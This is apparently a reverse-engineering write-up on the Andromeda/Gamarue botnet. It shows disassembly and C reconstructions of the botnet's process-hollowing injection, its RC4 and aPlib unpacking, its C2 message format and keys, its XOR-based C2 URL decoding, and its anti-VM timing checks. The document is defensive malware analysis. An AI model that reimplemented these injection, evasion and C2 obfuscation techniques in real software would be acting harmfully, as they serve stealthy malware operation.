TrendMicro notified about the rise of Gamarue botnet (https://blog.trendmicro.com/trendlab...romeda-botnet/) .
This one is a Modular botnet , which means its supports a plug-in interface system and can be extended. Apart from that , the main build sample provides some default features like, update bot, download and execute functionality. This Botnet also includes some interesting evasion techniques which i will be discussing later.
At the time of writing this article , following Andomeda-Gamarue C2C's were active
The Original Builder Executable
The Andomeda-Gamarue package includes a Web panel and a Bot Builder which creates a Sample of size approx 13.4 KB
Following is the PE(portable executable ) report generated by Texe 1.2(Texe - Home), Which shows that its has no import address table (IAT) that means API calls are dynamically generated from PEB
PE Report File
PE Magic | 00004550 | PE Signature |
Machine | 014C | Machine I386 |
NumberOfSections | 0001 | Number Of Sections = 1 |
TimeDateStamp | 00004550 | Mon Nov 12 20:39:59 2012 |
PointerToSymbolTable | 00000000 | Pointer To SymbolTable = 0 |
NumberOfSymbols | 00000000 | Number Of Symbols = 0 |
Characteristics | 010F | IMAGE_FILE_RELOCS_STRIPPED | IMAGE_FILE_EXECUTABLE_IMAGE | IMAGE_FILE_LINE_NUMS_STRIPPED | IMAGE_FILE_LOCAL_SYMS_STRIPPED | IMAGE_FILE_32BIT_MACHINE | |
Magic | 010B | Magic pe32 |
MajorLinkerVersion | 5 | Major Linker Version |
MinorLinkerVersion | C | Minor Linker Version |
SizeOfCode | 00003400 | Size Of Code = 13312 |
SizeOfInitializedData | 00000000 | Size Of Initialized Data = 0 |
AddressOfEntryPoint | 0000141C | Address Of EntryPoint = 5148 |
BaseOfCode | 00001000 | Base Of Code = 4096 |
BaseOfData | 00005000 | Base Of Data = 20480 |
ImageBase | 00400000 | Image Base = 4194304 |
SectionAlignment | 00001000 | SectionAlignment = 4096 |
FileAlignment | 00000200 | FileAlignment = 512 |
MajorOperatingSystemVersion | 0004 | Major Operating SystemVersion = 4 |
MinorOperatingSystemVersion | 0000 | Minor Operating SystemVersion = 0 |
MajorImageVersion | 0000 | Major Image Version = 0 |
MinorImageVersion | 0000 | Minor Image Version = 0 |
MajorSubsystemVersion | 0004 | MajorSubsystemVersion = 4 |
MinorSubsystemVersion | 0000 | Minor Subsystem Version = 0 |
Win32VersionValue | 00000000 | Win32 Version Value = 0 |
SizeOfImage | 00005000 | Size Of Image = 20480 |
SizeOfHeaders | 00000200 | Size Of Headers = 512 |
CheckSum | 00000000 | CheckSum = 0 |
Subsystem | 0002 | Windows GUI subsystem. |
DllCharacteristics | 0000 | DllCharacteristics = 0 |
SizeOfStackReserve | 00100000 | Size Of StackReserve = 1048576 |
SizeOfStackCommit | 00001000 | Size Of Stack Commit= 4096 |
SizeOfHeapReserve | 00100000 | Size Of Heap Reserve = 1048576 |
SizeOfHeapCommit | 00001000 | SizeOfHeapCommit = 4096 |
LoaderFlags | 00000000 | Loader Flags = 0 |
NumberOfRvaAndSizes | 00000010 | Number Of Rva And Sizes = 16 |
Export Table Address | 00000000 | Export Table Address |
Export Table Size | 00000000 | Export Table Size = 0 |
Import Table Address | 00000000 | Import Table Address |
Import Table Size | 00000000 | Import Table Size = 0 |
Section | 2E 74 65 78 74 | Name = .text |
VirtualSize | 000032D7 | Virtual Size = 13015 |
VirtualAddress | 00001000 | Virtual Address = 4096 |
SizeOfRawData | 00003400 | Size Of RawData = 13312 |
PointerToRawData | 00000200 | Pointer To RawData = 512 |
PointerToRelocations | 00000000 | Pointer To Relocations = 0 |
PointerToLinenumbers | 00000000 | Pointer To Linenumbers = 0 |
NumberOfRelocations | 0000 | Number Of Relocations = 0 |
NumberOfLinenumbers | 0000 | Number Of Linenumbers = 0 |
Characteristics | E0000020 | Section is executable | Section is readable | Section is writeable | |
Recently we have seen some different version of Andromeda-gamarue samples which slights differ in encoding routine used.
The First Payload generally injects inside "wuauctl.exe" if OS is 32bit or "svchost.exe" is OS is 64bit.
It follows the same injection technique as used by "DUQU".
Following is the injection code
003200ED FF75 F4 PUSH DWORD PTR SS:[EBP-C]
003200F0 68 50003200 PUSH 320050 ; UNICODE "src"
003200F5 E8 C4010000 CALL 003202BE ; JMP to kernel32.SetEnvironmentVariableW
003200FA 68 00800000 PUSH 8000
003200FF FF75 F4 PUSH DWORD PTR SS:[EBP-C]
00320102 E8 A5010000 CALL 003202AC ; JMP to kernel32.GetWindowsDirectoryW
00320107 85C0 TEST EAX,EAX
00320109 0F84 47010000 JE 00320256
0032010F C745 FC 00000000 MOV DWORD PTR SS:[EBP-4],0
00320116 6A 00 PUSH 0
00320118 6A 04 PUSH 4
0032011A 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
0032011D 50 PUSH EAX
0032011E 6A 1A PUSH 1A
00320120 6A FF PUSH -1
00320122 E8 61010000 CALL 00320288 ; JMP to ntdll.ZwQueryInformationProcess ;Determine weather systems is 32bit or 64bit
00320127 837D FC 00 CMP DWORD PTR SS:[EBP-4],0
0032012B 75 0F JNZ SHORT 0032013C ;jump is 64 bit
0032012D 68 58003200 PUSH 320058 ; UNICODE "\system32\wuauclt.exe"
00320132 FF75 F4 PUSH DWORD PTR SS:[EBP-C]
00320135 E8 96010000 CALL 003202D0 ; JMP to kernel32.lstrcatW
0032013A EB 0D JMP SHORT 00320149
0032013C 68 84003200 PUSH 320084 ; UNICODE "\syswow64\svchost.exe"
00320141 FF75 F4 PUSH DWORD PTR SS:[EBP-C]
00320144 E8 87010000 CALL 003202D0 ; JMP to kernel32.lstrcatW
This piece of code determines if to inject inside wuauclt.exe or svchost.exe if its 64 bit
This x86 code is present inside heap and is decoded form main text section, using aPlib compression library present at 0x004011c2 . aPlib compression is available online at(Ibsen Software * [ products - aPLib ]).
004011C2 $ 830424 02 ADD DWORD PTR SS:[ESP],2
004011C6 . 60 PUSHAD
004011C7 . 8B7424 24 MOV ESI,DWORD PTR SS:[ESP+24]
004011CB . 8B7C24 28 MOV EDI,DWORD PTR SS:[ESP+28]
004011CF . FC CLD
Later on Gamarue create a wuauctl.exe(32 bit) using the following parameters
0012FD58 00000000 .... |ModuleFileName = NULL
0012FD5C 00330000 ..3. |CommandLine = "C:\WINDOWS\system32\wuauclt.exe"
0012FD60 00000000 .... |pProcessSecurity = NULL
0012FD64 00000000 .... |pThreadSecurity = NULL
0012FD68 00000000 .... |InheritHandles = FALSE
0012FD6C 00000004
... |CreationFlags = CREATE_SUSPENDED
0012FD70 00000000 .... |pEnvironment = NULL
0012FD74 00000000 .... |CurrentDir = NULL
0012FD78 0012FD90 �ý. |pStartupInfo = 0012FD90
0012FD7C /0012FD80 €ý. \pProcessInfo = 0012FD80
Creating a process with CREATE_SUSPENDED flag is mostly used by malware for process hallowing . This technique was first described by (author and link ) Dynamic Forking of EXE's.
Later own we observed two Andromeda-Gamarue variants using different thread resuming techniques .
One of them we saw, uses SetThreadContext another uses QueueUserAPC.
Then it Maps Executable Region using ntdll.ZwMapViewOfSection
Payload Unpacking analysis
Looking Into wuauctl.exe it further unpacks its final payload on HEAP memory region by using RC4 Algorithm (RC4 - Wikipedia, the free encyclopedia)
000A1020 55 PUSH EBP
000A1021 8BEC MOV EBP,ESP
000A1023 81C4 00FFFFFF ADD ESP,-100
000A1029 60 PUSHAD
000A102A B9 40000000 MOV ECX,40
000A102F 8D7D FC LEA EDI,DWORD PTR SS:[EBP-4]
000A1032 B8 FCFDFEFF MOV EAX,FFFEFDFC ; key-scheduling algorithm
000A1037 FD STD
000A1038 AB STOS DWORD PTR ES:[EDI]
000A1039 2D 04040404 SUB EAX,4040404
000A103E ^E2 F8 LOOPD SHORT 000A1038
Exactly decompiling it into C styled function we get.
int __cdecl RC4Decrypt(unsigned char *Rc4Key,unsigned int KeyLen, unsigned char *dataBuffer, unsigned int length);
char *Rc4Key -- RC4 Encryption Keys,
unsigned int KeyLen -- Key Length
unsigned char *dataBuffer -- Pointer to Data to be encrypted
unsigned int length -- Length of Data.
In Case of the binary which i was analysing , the RC4 Stream Key was
B8 A8 C5 4D 6F 10 A9 63 4F AD 5F 4C 31 3B 8B 1E CD 72 65 65 74 D9 FE 27 5A 48 0D 22 60 BC 2A 1E
With a key length of 0x20 i.e 32 bytes
Communication Protocol
Andromeda-Gamarue Communicates with C2C over HTTP and uses its own custom message Structure. Directly Capturing Over Wireshark we get this data sent to the C2C
47 1C 71 E9 56 9D 9F E0 F6 E2 A7 33 B6 75 E8 F9 06 12 70 F4 D7 D2 36 65 29 6D 14 FF D9 52 4F 00 E7 14 CD C9 7E A2 21 42 5B 53 8F E7 EA A7 7E DB 94 32 FF 03 E2 DA 69 B8 E5 4C
Which is quite cryptic , now lets go back to wuauctl.exe to understand the Gamarue protocol
000D0573 FF35 98300D00 PUSH DWORD PTR DS:[D3098]
000D0579 FF35 84300D00 PUSH DWORD PTR DS:[D3084]
000D057F FF35 9C300D00 PUSH DWORD PTR DS:[D309C]
000D0585 FF35 80300D00 PUSH DWORD PTR DS:[D3080]
000D058B FF35 702E0D00 PUSH DWORD PTR DS:[D2E70]
000D0591 FF35 50040D00 PUSH DWORD PTR DS:[D0450]
000D0597 FF35 7C300D00 PUSH DWORD PTR DS:[D307C]
000D059D 68 74010D00 PUSH 0D0174 ; ASCII "id:%lu|bid:%lu|bv:%lu|sv:%lu|pa:%lu|la:%lu|ar:%lu "
000D05A2 FF75 FC PUSH DWORD PTR SS:[EBP-4]
000D05A5 E8 982A0000 CALL 000D3042 ; JMP to USER32.wsprintfA
Here the binary is calling wsprintA with the following format string "id:%lu:%lu|bid:%lu|bv:%lu|sv:%lu|pa:%lu|la:%lu|ar :%lu"
After manually analysing the assembly code in stage 2 , we come to know about each field of the format string
ID: ID or RC4 Response Key
BID: Botnet ID
BV : Botnet Version
SV: OS version
PA: Is 64 bit?
LA: local Address (Ethernet address)
ar: is Admin?
In my case following string was generated
id:XXX(n/a)|bid:7|bv:262|sv:1281|pa:0|la:XXX(n/A)|ar:1
But that's not the exact data what we got from pcap captures, looking forward from the wsprintA call , there is a call to RC4 Encryption routine
000D0624 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX
000D0627 FF75 F8 PUSH DWORD PTR SS:[EBP-8]
000D062A FF75 FC PUSH DWORD PTR SS:[EBP-4]
000D062D 6A 20 PUSH 20
000D062F 68 54040D00 PUSH 0D0454
000D0634 E8 171C0000 CALL 000D2250 ; RC4Encryption
With RC4 key length as 32 bytes ,
which is this case is
(hex) 33 61 33 64 32 36 62 31 66 32 63 66 62 32 63 33 39 62 33 36 31 30 62 36 62 36 36 33 63 39 30 65
Later on its encoded using base64 here
000D0654 FF75 F8 PUSH DWORD PTR SS:[EBP-8]
000D0657 FF75 F0 PUSH DWORD PTR SS:[EBP-10]
000D065A FF75 FC PUSH DWORD PTR SS:[EBP-4]
000D065D E8 9F090000 CALL 000D1001
So basically Andromeda-Gamarue uses RC4 + base64 for communication.
C2C Url Formation
Formation of C2C url in Andromeda-Gamarue is quite intrusion. After aPlib decompresion , following Url is visible at thisshitismoresafethanpentagonfuckyoufedsbecauseth isisaf.com/image.php which infact is not a valid url, after second stage of decompression , this url is re written using following simple XOR algorithm , Using specified XOR key its recovers its original URL from thisshitismoresafethanpentagonfuckyoufedsbecauseth isisaf.com/image.php
000A1037 8A1419 MOV DL,BYTE PTR DS:[ECX+EBX]
000A103A 41 INC ECX
000A103B 83F9 1D CMP ECX,1D
000A103E 74 09 JE SHORT 000A1049
000A1040 309408 49F9FFFF XOR BYTE PTR DS:[EAX+ECX-6B7],DL
000A1047 ^EB EE JMP SHORT 000A1037
Which is equivalent to the following C code
int GetUrl(FILE *fp)
{
static unsigned char *Shit = "thisshitismoresafethanpentagonfuckyoufedsbecauset hisisaf.com/image.php";
unsigned char i = 0;
unsigned char URLsz = 0;
unsigned int xor_offset = 0x000034F0;
unsigned int offset_len = 0x0000023B ;
unsigned char *xor_key = (unsigned char*) malloc(sizeof(char) * strlen(Shit));
fseek(fp, offset_len + 2, SEEK_SET);
fread(&URLsz, 0x01, 0x01, fp);
fseek(fp, xor_offset, SEEK_SET);
memset(xor_key, 0x00 , strlen(Shit));
fread(xor_key, strlen(Shit), 0x01, fp);
while(i < URLsz)
{
Shit[i] = Shit[i] ^ xor_key[i];
i++;
}
Shit[URLsz - 1] = 0x00;
strcpy(pAndro.c2url, Shit);
free(xor_key);
return 0;
}
Using all that information we can statically extract all the related information from Andromeda-Gamarue sample
After Request is Sent server response back with a response which has the following structure.
#pragma pack(1)
struct AndroResponse
{
DWORD crc32hash;
unsigned char bCommand;
void *pData;
};
bCommand is the type of command it passes to its bots, and its defined as
1- download and execute
4- install plugin
3-Update Bot .......
The whole list of operations is present at
000B2C60 837D 0C 01 CMP DWORD PTR SS:[EBP+C],1
000B2C64 74 48 JE SHORT 000B2CAE
000B2C66 837D 0C 02 CMP DWORD PTR SS:[EBP+C],2
000B2C6A 74 52 JE SHORT 000B2CBE
000B2C6C 837D 0C 03 CMP DWORD PTR SS:[EBP+C],3
000B2C70 0F84 C4000000 JE 000B2D3A
000B2C76 837D 0C 04 CMP DWORD PTR SS:[EBP+C],4
000B2C7A 0F84 96000000 JE 000B2D16
000B2C80 837D 0C 05 CMP DWORD PTR SS:[EBP+C],5
000B2C84 0F84 99000000 JE 000B2D23
000B2C8A 837D 0C 06 CMP DWORD PTR SS:[EBP+C],6
000B2C8E 0F84 99000000 JE 000B2D2D
000B2C94 837D 0C 09 CMP DWORD PTR SS:[EBP+C],9
000B2C98 0F85 5D010000 JNZ 000B2DFB
Presence of Split Personality Behavior
Andromeda-Gamarue has code Anti-Emulation and Anti-VM to detect the presence of Virtual machine or certain other monitoring software running. It won't exist after it has detected such analysis system, rather it would load a fake payload tricking analyst into believing that it hasn't deviated from its original . Therefore it is preferred to call it as Split Personality Behavior.
Firstly Andromeda detect the presence of certain Exe's running using Process32Next WinAPI function. Its iterates though the list of processes running on system ,computes the hash and then compares them with predefined list of hashes.
Hash Function is very simple its include OR , XOR and ROL
004010D5 |. 0C 21 |OR AL,21
004010D7 |. 32D0 |XOR DL,AL
004010D9 |. C1C2 0B |ROL EDX,0B
To detect Emulation Andromeda-gamarue used x86 instruction RDTSC and based to time to evaluate detects the presence of emulation software such as VM ware or VirtualBox
00401746 |> 0F31 RDTSC
00401748 |. 50 PUSH EAX
00401749 |. 0F31 RDTSC
0040174B |. 5A POP EDX
0040174C |. 2BC2 SUB EAX,EDX
0040174E |. 3D 00020000 CMP EAX,200